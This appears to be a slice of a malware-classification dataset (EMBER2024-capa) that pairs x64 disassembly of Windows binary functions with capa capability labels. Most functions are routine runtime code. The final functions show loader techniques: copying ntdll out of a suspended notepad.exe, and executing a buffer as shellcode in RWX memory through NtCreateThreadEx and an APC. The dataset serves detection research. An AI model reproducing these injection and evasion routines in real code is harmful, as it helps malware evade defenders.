joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400eab20
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xd8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x58], 0x103
mov qword [rsp + 0x60], 0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x1400eab92
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x58]
cmp eax, 0xc0000011
jne 0x1400eaba1
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x1400eabd9
cmp eax, 0x103
je 0x1400eabe3
test eax, eax
js 0x1400eabbe
mov rax, qword [rsp + 0x60]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x1400eabd9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xd8
pop rdi
pop rsi
ret
mov byte [rsp + 0x54], 0
mov dword [rsp + 0x50], 0
lea rax, [0x14014d028]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
mov qword [rsp + 0xa8], 0
lea rax, str.internal_error:_entered_unreachable_code:_unknown_state:
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 0
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x68], rax
lea rax, [0x14001f9d0]
mov qword [rsp + 0x70], rax
lea rax, str.fatal_runtime_error:__n
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x78]
call fcn.1400e1820
mov rcx, rax
call fcn.1400e1980
mov ecx, 7
int 0x29
ud2
Function at 0x1400eb830
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1e8
mov rsi, rcx
mov r14, qword [rdx]
mov rbx, qword [rdx + 8]
movzx edi, word [rdx + 0x10]
mov rax, qword [0x14017e268]
cmp rax, 3
jne 0x1400eb959
cmp rbx, 0x17f
ja 0x1400eb96b
lea rcx, [rsp + 0x68]
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x68], 0
lea r8, [rbx + 1]
cmp rbx, 0xe
ja 0x1400eb8a9
lea rcx, [rbx + 1]
xor eax, eax
xor edx, edx
nop
cmp byte [rsp + rdx + 0x68], 0
je 0x1400eb8bc
inc rdx
cmp rcx, rdx
jne 0x1400eb890
mov rdx, r8
test rax, rax
jne 0x1400eb8c6
jmp 0x1400eb922
lea rdx, [rsp + 0x68]
xor ecx, ecx
call fcn.1400201e0
test rax, rax
jne 0x1400eb8c6
jmp 0x1400eb922
mov eax, 1
test rax, rax
je 0x1400eb922
cmp rdx, rbx
jne 0x1400eb922
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x68]
lea r8, [rsp + 0x30]
lea r9, [rsp + 0x28]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400eb936
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x1400eb949
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400eb94c
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140112c00
cmp rbx, 0x17f
jbe 0x1400eb868
mov rcx, rsi
mov rdx, r14
mov r8, rbx
mov r9d, edi
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.140112c70

Function at 0x1400ebfa0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x1400ebfe3
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.1400e81f0]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14010b440
ud2
Function at 0x1400efe20
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x50
mov rbx, r8
mov rsi, rcx
test rdx, rdx
je 0x1400efe4b
mov qword [rsi + 8], rbx
mov qword [rsi], 1
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rax, qword [0x14017e268]
cmp rax, 3
jne 0x1400effce
cmp word [rbx], 0
mov eax, 2
mov ebp, 0x17
cmove ebp, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, ebp
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call sub.ws2_32.dll_WSASocketW
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400efec0
cmp word [rbx], 0
je 0x1400eff39
movups xmm0, xmmword [rbx + 4]
mov eax, dword [rbx + 0x14]
mov edx, dword [rbx + 0x18]
movzx ecx, word [rbx + 0x1c]
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x1400eff4e
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x1400efedb
mov r14d, eax
cmp eax, 0x2726
jne 0x1400effbd
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebp
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call sub.ws2_32.dll_WSASocketW
cmp rax, 0xffffffffffffffff
je 0x1400effb4
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call sub.kernel32.dll_SetHandleInformation
test eax, eax
jne 0x1400efe98
call qword [sym.imp.kernel32.dll_GetLastError]
mov r14d, eax
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400effbd
mov eax, dword [rbx + 2]
movzx ecx, word [rbx + 6]
xorps xmm0, xmm0
mov r8d, 0x10
mov r9w, 2
rol cx, 8
mov word [rsp + 0x30], r9w
mov word [rsp + 0x32], cx
mov dword [rsp + 0x34], eax
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x48], edx
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1400eff8d
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x1400efe40
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400efe40
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r14d, eax
shl r14, 0x20
or r14, 2
mov qword [rsi + 8], r14
jmp 0x1400efe39
call fcn.140112c00
jmp 0x1400efe5c
Function at 0x14010a7a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14010a7ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14010a7ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14010a7ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14010a7ee
cmp dword [rcx + 0x84], 0xe
jbe 0x14010a7ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14010a7f0
xor al, al
add rsp, 0x28
ret

Function at 0x14010fc70
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x14010fcdb
mov rsi, rax
lea rdx, str.WaitOnAddress
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14010fcdb
mov rbx, rax
lea rdx, str.WakeByAddressSingle
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14010fcdb
mov rsi, rax
mov r15d, 1
mov rcx, qword [0x14017e260]
test rcx, rcx
jne 0x14010fd8b
jmp 0x14010fd76
lea rcx, [0x14013f980]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x14010fdf4
mov rdi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14010fdf4
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14010fdf4
mov rsi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14010fdf4
mov rdi, rax
lea rcx, [rsp + 0x28]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x14010fdf4
mov rbx, qword [rsp + 0x28]
xor r15d, r15d
mov rcx, qword [0x14017e260]
test rcx, rcx
jne 0x14010fd8b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010fdfb
mov rcx, rax
mov qword [0x14017e260], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010fdfb
mov r14, rax
mov qword [rax], r15
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
xor eax, eax
lock cmpxchg qword [0x14017e120], r14
je 0x14010fde5
mov rsi, rax
cmp qword [r14], 0
jne 0x14010fdd0
mov rcx, qword [r14 + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [0x14017e260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, rsi
mov rax, r14
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.14010fe10
ud2
mov ecx, 0x20
mov edx, 8
call fcn.14010b0b0
ud2
Function at 0x140112c70
Capabilities:
Resolve dns

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r8
inc rdi
je 0x140112e7a
js 0x140112e94
mov ebx, r9d
mov r12, r8
mov r13, rdx
mov rsi, rcx
mov rcx, qword [0x14017e260]
test rcx, rcx
jne 0x140112cd0
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140112e6b
mov rcx, rax
mov qword [0x14017e260], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140112e6b
mov r15, rax
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rax
mov rcx, rax
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x10], r12
cmp r12, 0x10
jae 0x140112d3a
test r12, r12
je 0x140112d55
xor eax, eax
xor r14d, r14d
nop word cs:[rax + rax]
cmp byte [r13 + r14], 0
je 0x140112da2
inc r14
cmp r12, r14
jne 0x140112d20
mov r14, r12
test rax, rax
jne 0x140112d5f
jmp 0x140112dac
mov byte [rbp - 1], 1
xor ecx, ecx
mov rdx, r13
mov r8, r12
call fcn.1400201e0
mov r14, rdx
test rax, rax
jne 0x140112d5f
jmp 0x140112dac
xor r14d, r14d
xor eax, eax
test rax, rax
je 0x140112dac
test r15, r15
je 0x140112dcf
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdi, rdi
je 0x140112e39
mov rcx, qword [0x14017e260]
xor edx, edx
mov r8, r15
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 1
test rax, rax
jne 0x140112d5f
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x40], rax
movups xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x50], xmm0
mov byte [rbp - 1], 0
lea rcx, [rbp - 0x50]
call fcn.14001bfc0
mov r14, rax
mov rdi, rdx
xorps xmm0, xmm0
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x48], 1
mov qword [rbp - 0x20], 0
lea r8, [rbp - 0x50]
lea r9, [rbp - 0x20]
mov rcx, r14
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x140112e4b
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [r14], 0
test rdi, rdi
je 0x140112e39
mov rcx, qword [0x14017e260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp - 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bx
xor eax, eax
mov qword [rsi], rax
mov byte [r14], 0
test rdi, rdi
jne 0x140112e27
jmp 0x140112e39
mov edx, 1
mov rcx, rdi
call fcn.14010b0b0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.library_alloc_src_ffic_str.rs
mov edx, 0x2b
call fcn.14010b520
ud2
call fcn.14001bd20
ud2
Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002590
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400017b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
test esi, esi
mov rbx, rcx
jle 0x1400018e0
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001885
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017e0
mov rcx, rbx
call fcn.140002220
test rax, rax
mov rdi, rax
je 0x140001902
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002360
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000187e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001890
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140008098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000187e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001740
nop dword [rax]
xor esi, esi
jmp 0x140001808
mov rax, qword [0x140008098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001740
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001740
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001e70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001ecc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ec3
test rsi, rsi
je 0x140001ec3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ea8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002100
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005840]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005840]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005840]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002540
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002570
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002a40
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x110
mov rsi, qword [0x140005910]
mov ecx, 0x1a
xor r9d, r9d
mov rax, qword [rsi]
mov qword [rsp + 0x108], rax
xor eax, eax
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x70]
mov rdi, rdx
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], rdx
lea rcx, str.C:WindowsSystem32_notepad.exe
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0x70], 0
jne 0x140002ac9
xor ebx, ebx
jmp 0x140002b59
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x88]
mov rdx, rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x58], r8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, dword [rsp + 0x90]
mov rbx, rax
mov rdx, qword [rsp + 0x88]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140002ac2
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x108]
sub rax, qword [rsi]
je 0x140002b6b
call fcn.140002540
mov rax, rbx
add rsp, 0x110
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002b80
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov rbp, qword [0x140005910]
xor r10d, r10d
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov eax, edx
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x70]
mov rbx, rdx
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x70], rax
call sub.ntdll.dll_NtAllocateVirtualMemory
test eax, eax
jne 0x140002c7a
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtCreateThreadEx
test eax, eax
jne 0x140002c7a
mov rdx, qword [rsp + 0x60]
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtQueueApcThread
test eax, eax
jne 0x140002c7a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002c70
xor r8d, r8d
mov edx, 1
call sub.ntdll.dll_NtWaitForSingleObject
mov rcx, qword [rsp + 0x68]
call sub.ntdll.dll_NtClose
mov rax, qword [rsp + 0x78]
sub rax, qword [rbp]
je 0x140002c8b
call fcn.140002540
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140002d30
Capabilities:
Get local ipv4 addresses

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rbp, qword [0x140005910]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp]
mov qword [rsp + 0x48], rax
xor eax, eax
lea rsi, [rsp + 0x3c]
xor eax, eax
mov rdi, rcx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov dword [rsp + 0x3c], eax
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
je 0x140002d7a
xor eax, eax
jmp 0x140002dfc
mov edx, dword [rsp + 0x3c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
mov rbx, rax
je 0x140002d73
mov qword [rsp + 0x20], rsi
mov r9, rax
xor r8d, r8d
xor edx, edx
lea r12, [rsp + 0x42]
xor ecx, ecx
mov rsi, rbx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp dword [rsi + 0x58], 6
jne 0x140002de5
mov eax, dword [rsi + 0x50]
mov r8d, 3
mov rdx, r12
mov rcx, rdi
mov dword [rsp + 0x42], eax
mov ax, word [rsi + 0x54]
mov word [rsp + 0x46], ax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x140002de5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
jmp 0x140002dfc
mov rsi, qword [rsi + 8]
test rsi, rsi
jne 0x140002dad
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002d73
mov rdx, qword [rsp + 0x48]
sub rdx, qword [rbp]
je 0x140002e0c
call fcn.140002540
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret